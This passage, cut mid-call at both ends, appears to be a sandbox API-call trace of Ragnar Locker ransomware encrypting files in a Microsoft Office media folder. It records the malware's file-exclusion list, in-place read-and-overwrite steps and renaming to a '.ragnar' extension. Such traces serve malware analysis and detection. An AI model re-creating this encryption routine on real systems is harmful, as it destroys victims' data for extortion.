lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.354] lstrcpyW (in: lpString1=0x1eb62a, lpString2="ELPHRG01.WAV" | out: lpString1="ELPHRG01.WAV") returned="ELPHRG01.WAV" [0095.354] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned=".WAV" [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="autorun.inf") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="boot.ini") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootfont.bin") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootsect.bak") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootmgr") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootmgr.efi") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="bootmgfw.efi") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="desktop.ini") returned 1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="iconcache.db") returned -1 [0095.354] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ntldr") returned -1 [0095.355] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ntuser.dat") returned -1 [0095.355] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ntuser.dat.log") returned -1 [0095.355] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="ntuser.ini") returned -1 [0095.355] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="thumbs.db") returned -1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".db") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".sys") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".dll") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".lnk") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".msi") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".drv") returned 1 [0095.355] lstrcmpiW (lpString1=".WAV", lpString2=".exe") returned 1 [0095.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav")) returned 0x20 [0095.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.365] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22618) returned 1 [0095.365] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5851, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.365] GetProcessHeap () returned 0x580000 [0095.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.365] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.367] VirtualAlloc (lpAddress=0x0, dwSize=0x585a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.367] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.367] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.367] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x585a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x585a, lpOverlapped=0x0) returned 1 [0095.368] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.368] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x585a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.368] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x585a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x585a, lpOverlapped=0x0) returned 1 [0095.369] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x585a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.369] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.369] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x585a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.369] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.369] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.369] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.369] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.369] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.369] GetProcessHeap () returned 0x580000 [0095.369] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.369] CloseHandle (hObject=0x104) returned 1 [0095.369] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" [0095.369] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.ragnar_FD7BD9FC" [0095.369] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.373] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0095.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.373] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0088542.WMF" | out: lpString1="J0088542.WMF") returned="J0088542.WMF" [0095.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned=".WMF" [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="autorun.inf") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="boot.ini") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootfont.bin") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootsect.bak") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootmgr") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootmgr.efi") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="bootmgfw.efi") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="desktop.ini") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="iconcache.db") returned 1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ntldr") returned -1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ntuser.dat") returned -1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ntuser.dat.log") returned -1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="ntuser.ini") returned -1 [0095.373] lstrcmpiW (lpString1="J0088542.WMF", lpString2="thumbs.db") returned -1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.373] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf")) returned 0x20 [0095.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.374] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13826) returned 1 [0095.374] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x35f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.374] GetProcessHeap () returned 0x580000 [0095.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.374] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.376] VirtualAlloc (lpAddress=0x0, dwSize=0x3602, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.376] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3602, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3602, lpOverlapped=0x0) returned 1 [0095.377] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.377] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3602, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.377] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3602, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3602, lpOverlapped=0x0) returned 1 [0095.377] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3602, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.377] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.377] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3602, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.378] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.378] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.378] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.378] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.378] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.378] GetProcessHeap () returned 0x580000 [0095.378] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.378] CloseHandle (hObject=0x104) returned 1 [0095.378] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" [0095.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.ragnar_FD7BD9FC" [0095.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0095.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.379] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0090070.WMF" | out: lpString1="J0090070.WMF") returned="J0090070.WMF" [0095.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned=".WMF" [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="autorun.inf") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="boot.ini") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootfont.bin") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootsect.bak") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootmgr") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootmgr.efi") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="bootmgfw.efi") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="desktop.ini") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="iconcache.db") returned 1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ntldr") returned -1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ntuser.dat") returned -1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ntuser.dat.log") returned -1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="ntuser.ini") returned -1 [0095.379] lstrcmpiW (lpString1="J0090070.WMF", lpString2="thumbs.db") returned -1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.379] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf")) returned 0x20 [0095.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.381] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34944) returned 1 [0095.381] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8877, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.381] GetProcessHeap () returned 0x580000 [0095.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.381] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.382] VirtualAlloc (lpAddress=0x0, dwSize=0x8880, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.382] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.382] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.382] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8880, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8880, lpOverlapped=0x0) returned 1 [0095.384] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.384] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8880, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.384] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8880, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8880, lpOverlapped=0x0) returned 1 [0095.384] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8880, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.384] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.385] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.385] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.385] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.385] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.385] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.385] GetProcessHeap () returned 0x580000 [0095.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.385] CloseHandle (hObject=0x104) returned 1 [0095.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" [0095.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.ragnar_FD7BD9FC" [0095.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0095.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.386] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0090386.WMF" | out: lpString1="J0090386.WMF") returned="J0090386.WMF" [0095.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned=".WMF" [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="autorun.inf") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="boot.ini") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootfont.bin") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootsect.bak") returned 1 [0095.386] lstrcmpiW (lpString1="J0090386.WMF", lpString2="bootmgr") returned 1 